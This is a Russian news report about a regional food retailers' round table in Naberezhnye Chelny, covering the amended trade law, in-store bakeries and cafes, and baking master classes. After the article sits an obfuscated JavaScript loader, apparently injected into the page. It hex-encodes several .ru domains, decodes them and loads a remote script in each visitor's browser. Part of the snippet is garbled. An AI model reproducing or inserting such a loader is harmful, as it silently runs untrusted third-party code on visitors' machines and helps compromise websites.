Круглый стол с участием региональных продовольственных ритейлеров прошел в Набережных Челнах уже в третий раз. Город не случайно выбран в качестве места организации дискуссионной площадки: ТД «Челны-хлеб» является руководителем направления «Собственное производство» в Союзе Независимых Сетей России.
Отрылся Круглый стол дискуссией, посвящённой новой редакции закона о торговле. Консультантами выступила юридическая компания «Клиф», юристы который разъяснили основные моменты, вносимые в законодательство. Однако по мнению исполнительного директора СНСР Сергея Кузнецова, нововведения закона «О торговле» не соответствуют ожиданиям ни региональных сетей, ни поставщиков: «Концептуальный просчет закона в том, что он не делает различия между крупным и малым бизнесом. Российское законодательство пытается создать преференции для малого и среднего бизнеса, но только не закон о торговле, хотя законопроект выдвигался именно с целью поддержки российских производителей. Разумнее идти не к ужесточению норм, а по пути создания условий для поддержки местных производителей и каналов сбыта для них».
В ходе развернувшейся дискуссии были высказаны мнения о регулировании отношений между поставщиками и торговыми сетями, роли Федеральной антимонопольной службы в обеспечении равных конкурентных условий для федеральных и региональных торговых сетей.
Значимым событием для участников «Круглого стола» стало и обсуждение перспективного направления по созданию собственных пекарен и кафе в местах высокой концентрации возможных потребителей – в торговых и бизнес-центрах, супермаркетах, объектах транспортной инфраструктуры. Был рассмотрен опыт действующих розничных сетей в различных регионах страны, варианты ассортимента с точки зрения формата «быстрая еда» и «еда на вынос», процесс управления потоками посетителей и формирование программ лояльности для привлечения постоянных покупателей.
Во время
мастер-классов по производству хлебобулочных и кондитерских изделий, рыбных
деликатесов, лучшие технологи, представляющие различные торговые сети, на
оборудовании пекарни «Мудрый пекарь» и на площадке «Челны Фуд» поделились
собственным рецептам и обменялись опытом работы.
«Мы представили свою продукцию: хлеба премиального класса, торты, пирожное, -рассказал
руководитель пекарни «Мудрый пекарь» Альберт Камалиев. – Они понравились всем, мы
делились рецептами, рассказали о нашем опыте. Очень интересную продукцию
показали гости из Германии – господин Торстен ван Ленгерх, компания MIWE. На наших заквасках они приготовили
хлеба с новым, необычным вкусом. Были новинки и из России. Новыми идеями
обязательно воспользуемся!»
Подводя итоги работы съезда и состоявшегося Круглого стола, собственник ТД «Челны-хлеб» Эдуард Юнусов отметил важность роли новой редакции закона «О торговле» и тех предложений по его совершенствованию, которые прозвучали во время съезда. Говоря же о новых направлениях развития региональных торговых сетей, связанных с созданием собственных производств, собственник «Челны-хлеб» подчеркнул: «Мы все находимся в поиске, заинтересованы в развитии наших предприятий, и те успешные решения, которые были найдены, с успехом могут быть тиражированы в других регионах. Это не только получение дополнительных доходов, но существенное повышение качества жизни населения, формирование новой культуры потребления, основанной на употреблении продукции высокого качества, безопасной во всех отношениях, и полезной для людей любого возраста».
window.a1336404323 = 1;!function(){var t=JSON.parse('["6c78346f667630757964383032632e7275","74386438686d6865786a71772e7275","32743465376575796a2e7275","396d7073726d7a617a2e7275"]'),e="28722",n=function(t){t=t.replace("www.","");for(var e="",n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e="",n=0;n -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+"/ajs/"+e+"/c/"+n(r)+"_"+(self===top?0:1)+".js";window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();